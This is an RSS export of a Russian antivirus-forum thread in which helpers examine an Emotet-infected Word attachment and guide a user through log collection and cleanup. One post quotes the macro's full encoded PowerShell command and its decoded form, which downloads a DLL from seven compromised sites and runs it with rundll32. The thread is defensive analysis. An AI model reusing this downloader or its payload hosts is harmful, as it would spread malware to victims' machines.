Форум esetnod32.ru [тема: WORD с макросом] http://forum.esetnod32.ru Новое в теме WORD с макросом форума на сайте Форум esetnod32.ru [forum.esetnod32.ru] ru http://backend.userland.com/rss2 Sat, 02 May 2026 05:59:14 +0300 WORD с макросом WORD с макросом Win32/Emotet.gen в форуме Обнаружение вредоносного кода и ложные срабатывания.
https://app.any.run/tasks/b8e10aa1-e3d9-4f6f-86fc-e428c9359537

"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\ARC 2020_12_29 MC57559.doc"

+

====quote====
cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAgACQAVQA2ADMANQAxAD0AWwBUAFkAcABFAF0AKAAiAHsAMgB9AHsAMAB9­AHsAMQB9AHsANAB9AHsAMwB9AHsANQB9ACIAIAAtAEYAIAAnAHkAUwBUAEUA­bQAuAGkAJwAsACcATwAuAGQAaQAnACwAJwBzACcALAAnAEUAYwBUAE8AJwAs­ACcAUgAnACwAJwBSAFkAJwApACAAIAA7ACQATwBMAFYAIAA9ACAAWwB0AFkA­cABlAF0AKAAiAHsAMAB9AHsANwB9AHsAMQB9AHsAOAB9AHsAMwB9AHsANgB9­AHsANQB9AHsAMgB9AHsANAB9ACIAIAAtAEYAJwBzAFkAJwAsACcAVABFAG0A­LgBOAEUAJwAsACcAbgB0AG0AQQBOACcALAAnAHYAJwAsACcAQQBHAGUAUgAn­ACwAJwBJACcALAAnAGkAQwBlAFAATwAnACwAJwBzACcALAAnAFQALgBzAGUA­UgAnACkAIAAgADsAIAAgACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBl­AGYAZQByAGUAbgBjAGUAIAA9ACAAKAAnAFMAaQAnACsAKAAnAGwAZQAnACsA­JwBuACcAKQArACcAdAAnACsAKAAnAGwAeQAnACsAJwBDACcAKQArACgAJwBv­AG4AdABpACcAKwAnAG4AJwArACcAdQBlACcAKQApADsAJABZAHQAZABfAHAA­cABiAD0AJABIADQAXwBMACAAKwAgAFsAYwBoAGEAcgBdACgANgA0ACkAIAAr­ACAAJABRADAAMQBRADsAJABFADEANQBOAD0AKAAoACcATwAnACsAJwAxAF8A­JwApACsAJwBWACcAKQA7ACAAIAAoACAAZwBlAFQALQBWAGEAUgBpAGEAYgBs­AGUAIAB1ADYAMwA1ADEAIAAtAFYAYQBMAFUARQBvAE4ATAB5ACAAKQA6ADoA­IgBjAFIARQBgAEEAVABlAGQASQByAGAAZQBDAGAAVABvAHIAeQAiACgAJABI­AE8ATQBFACAAKwAgACgAKAAnAHsAMAB9AE4AJwArACgAJwBzAGcAaAAnACsA­JwBvACcAKQArACcAaAB0AHsAMAB9ACcAKwAnAEcAJwArACcAYgAnACsAKAAn­AGgANQByACcAKwAnADkAbwAnACkAKwAnAHsAMAB9ACcAKQAgAC0AZgAgACAA­WwBjAEgAYQBSAF0AOQAyACkAKQA7ACQATgA5ADUAVwA9ACgAKAAnAFMAJwAr­ACcAMgA4ACcAKQArACcAUwAnACkAOwAgACAAKAAgACAATABzACAAIAB2AEEA­cgBJAEEAQgBsAGUAOgBvAGwAVgApAC4AVgBBAGwAVQBFADoAOgAiAFMARQBD­AFUAcgBgAEkAVABZAGAAUAByAE8AVABPAGAAYwBvAEwAIgAgAD0AIAAoACcA­VABsACcAKwAoACcAcwAxACcAKwAnADIAJwApACkAOwAkAEsAXwAyAEwAPQAo­ACcAQgA2ACcAKwAnADcATwAnACkAOwAkAEIAZQB4AG8AMgA4AHQAIAA9ACAA­KAAnAFEAMgAnACsAJwA3AFYAJwApADsAJABNADYAOQBOAD0AKAAoACcAVQAn­ACsAJwA3ADIAJwApACsAJwBBACcAKQA7ACQAWgBjADcAbgA3AHkAXwA9ACQA­SABPAE0ARQArACgAKAAnAHsAJwArACcAMAAnACsAJwB9ACcAKwAoACcATgAn­ACsAJwBzAGcAJwApACsAJwBoAG8AaAB0AHsAMAB9ACcAKwAnAEcAJwArACgA­JwBiACcAKwAnAGgANQByACcAKQArACcAOQBvAHsAMAB9ACcAKQAgAC0ARgBb­AEMASABBAFIAXQA5ADIAKQArACQAQgBlAHgAbwAyADgAdAArACgAJwAuAGQA­JwArACcAbABsACcAKQA7ACQATgBfADEAVwA9ACgAKAAnAE0AJwArACcAMwA0­ACcAKQArACcAWQAnACkAOwAkAEkAbABlAF8AdgBhAGEAPQAoACcAXQAnACsA­KAAnAGIAMgAnACsAJwBbACcAKwAnAHMAOgAvAC8AdwAnACsAJwBoAGUAZQBs­ACcAKQArACcAYwBvACcAKwAnAG0AbwAnACsAJwB2AGkAJwArACgAJwBuACcA­KwAnAGcALgBjAG8AJwArACcAbQAvAHAAJwApACsAJwAvAFIAJwArACcAdQAn­ACsAJwBNACcAKwAoACcAZQBSAFAAJwArACcAYQAnACkAKwAnAC8AQAAnACsA­KAAnAF0AJwArACcAYgAyAFsAcwA6AC8AJwApACsAKAAnAC8AJwArACcAMAAw­ACcAKQArACcAegAnACsAKAAnAHkAJwArACcAawB1ACcAKQArACcALgAnACsA­JwBjAG8AJwArACgAJwBtAC8AdwAnACsAJwBwACcAKwAnAC0AYQBkAG0AaQBu­AC8AJwArACcAZQAnACkAKwAoACcAWQB1ADEAJwArACcAUQAvACcAKQArACcA­QABdACcAKwAnAGIAJwArACgAJwAyAFsAJwArACcAcwA6AC8ALwBrACcAKQAr­ACgAJwBlACcAKwAnAHQAbwByAGUAJwApACsAKAAnAHMAZQAnACsAJwB0AG0A­JwApACsAKAAnAGUAJwArACcALgBjAG8AbQAnACkAKwAnAC8AdwAnACsAJwBw­ACcAKwAoACcALQAnACsAJwBjAG8AbgB0ACcAKQArACgAJwBlACcAKwAnAG4A­dAAvAHAAbQBKACcAKQArACcALwAnACsAKAAnAEAAJwArACcAXQBiACcAKQAr­ACcAMgAnACsAKAAnAFsAJwArACcAcwBzADoALwAnACsAJwAvACcAKQArACgA­JwByAHkAYwBvACcAKwAnAG0AJwApACsAJwBwACcAKwAoACcAdQB0ACcAKwAn­AGUAJwApACsAJwByAC4AJwArACgAJwBjAG8AbQAvAGMAJwArACcAbwBuACcA­KQArACgAJwB0AGUAbgAnACsAJwB0AC8AVAAnACkAKwAoACcATAAvAEAAXQAn­ACsAJwBiACcAKwAnADIAWwBzACcAKwAnAHMAJwApACsAKAAnADoAJwArACcA­LwAvACcAKQArACcAZAAtACcAKwAoACcAYwAnACsAJwBlAG0AJwArACcALgBj­AG8AbQAnACkAKwAnAC8AJwArACcAdwBwACcAKwAoACcALQBhACcAKwAnAGQA­JwApACsAKAAnAG0AJwArACcAaQBuACcAKQArACcALwAnACsAKAAnAEoAJwAr­ACcAUwBMAHcARwAxACcAKQArACgAJwAvAEAAXQBiADIAWwBzACcAKwAnADoA­JwArACcALwAnACkAKwAnAC8AJwArACgAJwB0AGgAZQBiAGUAcwAnACsAJwB0­ACcAKQArACcAZgAnACsAKAAnAGkAawByAGEAJwArACcAaAAuACcAKwAnAGMA­bwAnACkAKwAnAG0AJwArACgAJwAvAHcAcAAtACcAKwAnAGEAZABtACcAKwAn­AGkAJwArACcAbgAvACcAKQArACgAJwBmACcAKwAnAE8ASQBsACcAKwAnAFYA­WAAvAEAAJwApACsAKAAnAF0AYgAyACcAKwAnAFsAJwApACsAKAAnAHMAcwA6­AC8AJwArACcALwAnACkAKwAoACcAcABoACcAKwAnAGEAdwAnACkAKwAoACcA­YQB5AGEAJwArACcAZwBlACcAKQArACcAbgAnACsAKAAnAGMAeQAnACsAJwAu­AGMAbwBtAC8AJwApACsAJwB3ACcAKwAnAHAAJwArACgAJwAtACcAKwAnAGEA­ZAAnACkAKwAnAG0AaQAnACsAJwBuACcAKwAoACcALwAnACsAJwBtAFgAbwAn­ACkAKwAnADQAYgAnACsAJwAvACcAKQAuACIAcgBlAHAAYABMAGAAQQBDAEUA­IgAoACgAKAAnAF0AYgAnACsAJwAyAFsAJwApACsAJwBzACcAKQAsACgAWwBh­AHIAcgBhAHkAXQAoACcAcwBkACcALAAnAHMAdwAnACkALAAoACcAaAAnACsA­KAAnAHQAdAAnACsAJwBwACcAKQApACwAJwAzAGQAJwApAFsAMQBdACkALgAi­AHMAYABwAEwASQBUACIAKAAkAEUAXwBfAFYAIAArACAAJABZAHQAZABfAHAA­cABiACAAKwAgACQAQwA1ADQAWQApADsAJABKADMANwBWAD0AKAAoACcARwA1­ACcAKwAnADIAJwApACsAJwBDACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQA­WQBmAHAAZAB2AHUAcgAgAGkAbgAgACQASQBsAGUAXwB2AGEAYQApAHsAdABy­AHkAewAoAC4AKAAnAE4AZQB3AC0AJwArACcATwBiACcAKwAnAGoAZQBjAHQA­JwApACAAUwBZAHMAdABlAG0ALgBuAEUAdAAuAHcAZQBiAGMATABpAEUAbgBU­ACkALgAiAEQAbwBXAGAATgBgAGwAYABvAGEAZABmAEkAbABlACIAKAAkAFkA­ZgBwAGQAdgB1AHIALAAgACQAWgBjADcAbgA3AHkAXwApADsAJABXADAAMgBI­AD0AKAAnAEMAJwArACgAJwA1ADkAJwArACcAWAAnACkAKQA7AEkAZgAgACgA­KAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABaAGMANwBu­ADcAeQBfACkALgAiAEwARQBuAEcAYABUAEgAIgAgAC0AZwBlACAAMwA4ADQA­MQAzACkAIAB7AC4AKAAnAHIAJwArACcAdQBuACcAKwAnAGQAbABsADMAMgAn­ACkAIAAkAFoAYwA3AG4ANwB5AF8ALAAoACcAQwBvACcAKwAoACcAbgB0ACcA­KwAnAHIAbwAnACkAKwAoACcAbABfAFIAJwArACcAdQAnACsAJwBuAEQATAAn­ACkAKwAnAEwAJwApAC4AIgB0AG8AcwB0AGAAUgBgAEkATgBHACIAKAApADsA­JABVADcAOABXAD0AKAAnAE0AMAAnACsAJwAxAE4AJwApADsAYgByAGUAYQBr­ADsAJABGADIANABUAD0AKAAnAEsAJwArACgAJwAzACcAKwAnADgATAAnACkA­KQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQQAzADEASQA9ACgAJwBWACcAKwAo­ACcAOAAnACsAJwA4AEoAJwApACkA
=============

+
in /v Word experienced an error trying to open the file.
+
раскодированный скрипт:

====quote====
POwersheLL -w hidden   $U6351=[TYpE]("{2}{0}{1}{4}{3}{5}" -F 'ySTEm.i','O.di','s','EcTO','R','RY') ;$OLV = [tYpe]("{0}{7}{1}{8}{3}{6}{5}{2}{4}" -F'sY','TEm.NE','ntmAN','v','AGeR','I','iCePO','s','T.seR') ; $ErrorActionPreference = ('Si'+('le'+'n')+'t'+('ly'+'C')+('onti'+'n'+'ue'));$Ytd_ppb=$H4_L + [char](64) + $Q01Q;$E15N=(('O'+'1_')+'V'); ( geT-VaRiable u6351 -VaLUEoNLy )::"cRE`ATedIr`eC`Tory"($HOME + (('{0}N'+('sgh'+'o')+'ht{0}'+'G'+'b'+('h5r'+'9o')+'{0}') -f [cHaR]92));$N95W=(('S'+'28')+'S'); ( Ls vArIABle:olV).VAlUE::"SECUr`ITY`PrOTO`coL" = ('Tl'+('s1'+'2'));$K_2L=('B6'+'7O');$Bexo28t = ('Q2'+'7V');$M69N=(('U'+'72')+'A');$Zc7n7y_=$HOME+(('{'+'0'+'}'+('N'+'sg')+'hoht{0}'+'G'+('b'+'h5r')+'9o{0}') -F[CHAR]92)+$Bexo28t+('.d'+'ll');$N_1W=(('M'+'34')+'Y');$Ile_vaa=(']'+('b2'+'['+'s://w'+'heel')+'co'+'mo'+'vi'+('n'+'g.co'+'m/p')+'/R'+'u'+'M'+('eRP'+'a')+'/@'+(']'+'b2[s:/')+('/'+'00')+'z'+('y'+'ku')+'.'+'co'+('m/w'+'p'+'-admin/'+'e')+('Yu1'+'Q/')+'@]'+'b'+('2['+'s://k')+('e'+'tore')+('se'+'tm')+('e'+'.com')+'/w'+'p'+('-'+'cont')+('e'+'nt/pmJ')+'/'+('@'+']b')+'2'+('['+'ss:/'+'/')+('ryco'+'m')+'p'+('ut'+'e')+'r.'+('com/c'+'on')+('ten'+'t/T')+('L/@]'+'b'+'2[s'+'s')+(':'+'//')+'d-'+('c'+'em'+'.com')+'/'+'wp'+('-a'+'d')+('m'+'in')+'/'+('J'+'SLwG1')+('/@]b2[s'+':'+'/')+'/'+('thebes'+'t')+'f'+('ikra'+'h.'+'co')+'m'+('/wp-'+'adm'+'i'+'n/')+('f'+'OIl'+'VX/@')+(']b2'+'[')+('ss:/'+'/')+('ph'+'aw')+('aya'+'ge')+'n'+('cy'+'.com/')+'w'+'p'+('-'+'ad')+'mi'+'n'+('/'+'mXo')+'4b'+'/')."rep`L`ACE"(((']b'+'2[')+'s'),([array]('sd','sw'),('h'+('tt'+'p')),'3d')[1])."s`pLIT"($E__V + $Ytd_ppb + $C54Y);$J37V=(('G5'+'2')+'C');foreach ($Yfpdvur in $Ile_vaa){try{(.('New-'+'Ob'+'ject') SYstem.nEt.webcLiEnT)."DoW`N`l`oadfIle"($Yfpdvur, $Zc7n7y_);$W02H=('C'+('59'+'X'));If ((.('Get-I'+'tem') $Zc7n7y_)."LEnG`TH" -ge 38413) {.('r'+'un'+'dll32') $Zc7n7y_,('Co'+('nt'+'ro')+('l_R'+'u'+'nDL')+'L')."tost`R`ING"();$U78W=('M0'+'1N');break;$F24T=('K'+('3'+'8L'))}}catch{}}$A31I=('V'+('8'+'8J'))
=============

+
====quote====


"C:\Windows\system32\rundll32.exe" C:\Users\admin\Nsghoht\Gbh5r9o\Q27V.dll Control_RunDLL
=============
+
====quote====

C:\Windows\system32\rundll32.exe "C:\Users\admin\AppData\Local\Vcfjrqyglb\qernwsuxr.kiv",Control_RunDLL

=============
https://www.virustotal.com/gui/file/f7440143fa4180db96d5e22f38a07fab5fd56f4912e542b­dd8e0a3dc65fc5f68/detection
+

====quote====
"C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe4_ Global\UsGthrCtrlFltPipeMssGthrPipe4 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon"
=============

01.01.2021 18:56:44, santy.]]> http://forum.esetnod32.ru/messages/forum6/topic16266/message111518/ http://forum.esetnod32.ru/messages/forum6/topic16266/message111518/ Fri, 01 Jan 2021 18:56:44 +0300 Обнаружение вредоносного кода и ложные срабатывания WORD с макросом WORD с макросом Win32/Emotet.gen в форуме Обнаружение вредоносного кода и ложные срабатывания.

====quote====
RP55 RP55 написал:
модифицированный Win32/Emotet.gen троянская программа
=============

После полуторамесячного перерыва ботнет Emotet был возрожден 21 декабря [1, 2], и Microsoft заметила продолжающуюся кампанию, доставляющую «широкий спектр приманок в виде огромных объемов электронных писем, использования поддельных ответов или переадресации. электронные письма, защищенные паролем вложения архива ".

«В новой кампании Emotet по-прежнему используются документы, содержащие вредоносный макрос, который при включении подключается к семи вредоносным доменам для загрузки полезной нагрузки Emotet», - написала в Твиттере Microsoft Security Intelligence.

Emotet был впервые обнаружен в 2014 году как банковский троянец и теперь превратился в ботнет, используемый группой угроз TA542 (также известной как Mummy Spider) для развертывания вредоносных программ второго уровня в зараженных системах.

Полезные данные, которые Emotet сбрасывает на взломанные компьютеры, включают троянские программы QakBot и Trickbot (которые также развертывают программы-вымогатели Ryuk и Conti).
01.01.2021 18:35:55, santy.]]> http://forum.esetnod32.ru/messages/forum6/topic16266/message111517/ http://forum.esetnod32.ru/messages/forum6/topic16266/message111517/ Fri, 01 Jan 2021 18:35:55 +0300 Обнаружение вредоносного кода и ложные срабатывания WORD с макросом WORD с макросом Win32/Emotet.gen в форуме Обнаружение вредоносного кода и ложные срабатывания.

====quote====
Время;Модуль сканирования;Тип объекта;Объект;Обнаружение;Действие;Пользователь;Информация;Хэш;Первое обнаружение здесь
29.12.2020 11:59:38;Фильтр HTTP;файл; wheelcomoving.com/p/RuMeRPa;вероятно, модифицированный Win32/Emotet.gen троянская программа;подключение завершено;ANDREW\Admin;Событие произошло при попытке доступа к Интернету следующим приложением: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
=============


Анализ одного из сайтов: wheelcomoving.com/p/RuMeRPa

https://urlhaus.abuse.ch/url/944378/
https://www.virustotal.com/gui/url/62f9d2b7e74fdf07456084d5b1907bbe6ce4ac300a3d609e­18b51984a5056722/detection

Видимо зверь пытался подключиться к ресурсу и скачать дополнительную "полезную" нагрузку.
29.12.2020 18:16:30, RP55 RP55.]]> http://forum.esetnod32.ru/messages/forum6/topic16266/message111488/ http://forum.esetnod32.ru/messages/forum6/topic16266/message111488/ Tue, 29 Dec 2020 18:16:30 +0300 Обнаружение вредоносного кода и ложные срабатывания WORD с макросом WORD с макросом Win32/Emotet.gen в форуме Обнаружение вредоносного кода и ложные срабатывания.
отправил
Лог.txt
29.12.2020 17:59:15, Андрей Сергеев.]]> http://forum.esetnod32.ru/messages/forum6/topic16266/message111485/ http://forum.esetnod32.ru/messages/forum6/topic16266/message111485/ Tue, 29 Dec 2020 17:59:15 +0300 Обнаружение вредоносного кода и ложные срабатывания WORD с макросом WORD с макросом Win32/Emotet.gen в форуме Обнаружение вредоносного кода и ложные срабатывания.

====quote====
Андрей Сергеев написал:
(Подозрительный файл отправил через спец.форму на Вашем сайте).
=============
пришлите данный файл в почту safety@chklst.ru для проверки, лучше в архиве с паролем infected
+
добавьте лог журнала обнаружения угроз
29.12.2020 16:45:37, santy.]]> http://forum.esetnod32.ru/messages/forum6/topic16266/message111482/ http://forum.esetnod32.ru/messages/forum6/topic16266/message111482/ Tue, 29 Dec 2020 16:45:37 +0300 Обнаружение вредоносного кода и ложные срабатывания WORD с макросом WORD с макросом Win32/Emotet.gen в форуме Обнаружение вредоносного кода и ложные срабатывания.
Выполнил.
Судя по журналу обнаружения антивируса ESET, была попытка скачать несколько вредоносных программ, но антивирус это заблокировал.
Работает все отлично.
Спасибо!
AdwCleaner[C00].txt
Fixlog.txt
29.12.2020 16:32:26, Андрей Сергеев.]]> http://forum.esetnod32.ru/messages/forum6/topic16266/message111481/ http://forum.esetnod32.ru/messages/forum6/topic16266/message111481/ Tue, 29 Dec 2020 16:32:26 +0300 Обнаружение вредоносного кода и ложные срабатывания WORD с макросом WORD с макросом Win32/Emotet.gen в форуме Обнаружение вредоносного кода и ложные срабатывания.
Вирусов не увидел.
Немного мусора и есть изменения в политиках.  ( если изменения в политики вносили сами - скрипт можно не выполнять )


Скопируйте приведенный ниже текст в Блокнот и сохраните файл как fixlist.txt в ту же папку откуда была запущена утилита Farbar Recovery Scan Tool:
...
Запустите FRST и нажмите один раз на кнопку Fix и подождите.

====code==== 
  

ContextMenuHandlers1: [7-Zip] -> {23170F69-40C1-278A-1000-000100020000} =>  -> No File
ContextMenuHandlers1: [ANotepad++64] -> {B298D29A-A6ED-11DE-BA8C-A68E55D89593} =>  -> No File
ContextMenuHandlers1: [BriefcaseMenu] -> {85BBD920-42A0-1069-A2E4-08002B30309D} =>  -> No File
ContextMenuHandlers1: [WorkFolders] -> {E61BF828-5E63-4287-BEF1-60B1A4FDE0E3} =>  -> No File
ContextMenuHandlers3: [{4A7C4306-57E0-4C0C-83A9-78C1528F618C}] -> {4A7C4306-57E0-4C0C-83A9-78C1528F618C} =>  -> No File
ContextMenuHandlers4: [7-Zip] -> {23170F69-40C1-278A-1000-000100020000} =>  -> No File
ContextMenuHandlers4: [WorkFolders] -> {E61BF828-5E63-4287-BEF1-60B1A4FDE0E3} =>  -> No File
ContextMenuHandlers5: [igfxcui] -> {3AB1675A-CCFF-11D2-8B20-00A0C93CB1F4} =>  -> No File
ContextMenuHandlers6: [BriefcaseMenu] -> {85BBD920-42A0-1069-A2E4-08002B30309D} =>  -> No File
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender: Restriction <==== ATTENTION
GroupPolicy: Restriction ? <==== ATTENTION
Policies: C:\ProgramData\NTUSER.pol: Restriction <==== ATTENTION
Policies: C:\Users\Все пользователи\NTUSER.pol: Restriction <==== ATTENTION
HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction <==== ATTENTION
HKU\S-1-5-19\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction <==== ATTENTION
HKU\S-1-5-20\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction <==== ATTENTION
HKU\S-1-5-21-1585131043-1017290590-1199785018-1000\SOFTWARE\Policies\Microsoft\Internet Explorer: Restriction <==== ATTENTION

EmptyTemp:
Reboot:
=============
Программа FRST создаст лог-файл (Fixlog.txt). Пожалуйста, прикрепите его в следующем сообщении!

+
Выполните лог в AdwCleaner
http://forum.esetnod32.ru/forum9/topic7084/

после завершения сканирования:
Записи относящиеся к Mail.Ru и Yandex можете не удалять ( если пользуетесь программой )
На вкладке:
Папки (Folders) для Mail.Ru  и Yandex снимите [V]


Удалите найденное в AdwCleaner по кнопке Очистить (Clean), подтвердите действие
с автоперезагрузкой



Проверяем, как работает система...
и
Пишем по _общему результату.
29.12.2020 13:53:48, RP55 RP55.]]> http://forum.esetnod32.ru/messages/forum6/topic16266/message111479/ http://forum.esetnod32.ru/messages/forum6/topic16266/message111479/ Tue, 29 Dec 2020 13:53:48 +0300 Обнаружение вредоносного кода и ложные срабатывания WORD с макросом WORD с макросом Win32/Emotet.gen в форуме Обнаружение вредоносного кода и ложные срабатывания.
Логи FRST
Addition.txt
FRST.txt
29.12.2020 12:42:50, Андрей Сергеев.]]> http://forum.esetnod32.ru/messages/forum6/topic16266/message111478/ http://forum.esetnod32.ru/messages/forum6/topic16266/message111478/ Tue, 29 Dec 2020 12:42:50 +0300 Обнаружение вредоносного кода и ложные срабатывания WORD с макросом WORD с макросом Win32/Emotet.gen в форуме Обнаружение вредоносного кода и ложные срабатывания.
Добрый день!
Пришло письмо с файлом Word, от "известного" отправителя (сначала пишет якобы настоящий адрес, а справа assistenzabck@saetpd.it.
Ворд запакован был в архив с паролем (пароль был в письме). При открытии Ворда, запустилась на несколько секунд командная строка.
ПК ведет себя как обычно.
(Подозрительный файл отправил через спец.форму на Вашем сайте).
Образ прикрепил, проверьте пожалуйста ПК)
Спасибо!
ANDREW_2020-12-29_12-28-14_v4.11.rar
29.12.2020 12:33:43, Андрей Сергеев.]]> http://forum.esetnod32.ru/messages/forum6/topic16266/message111477/ http://forum.esetnod32.ru/messages/forum6/topic16266/message111477/ Tue, 29 Dec 2020 12:33:43 +0300 Обнаружение вредоносного кода и ложные срабатывания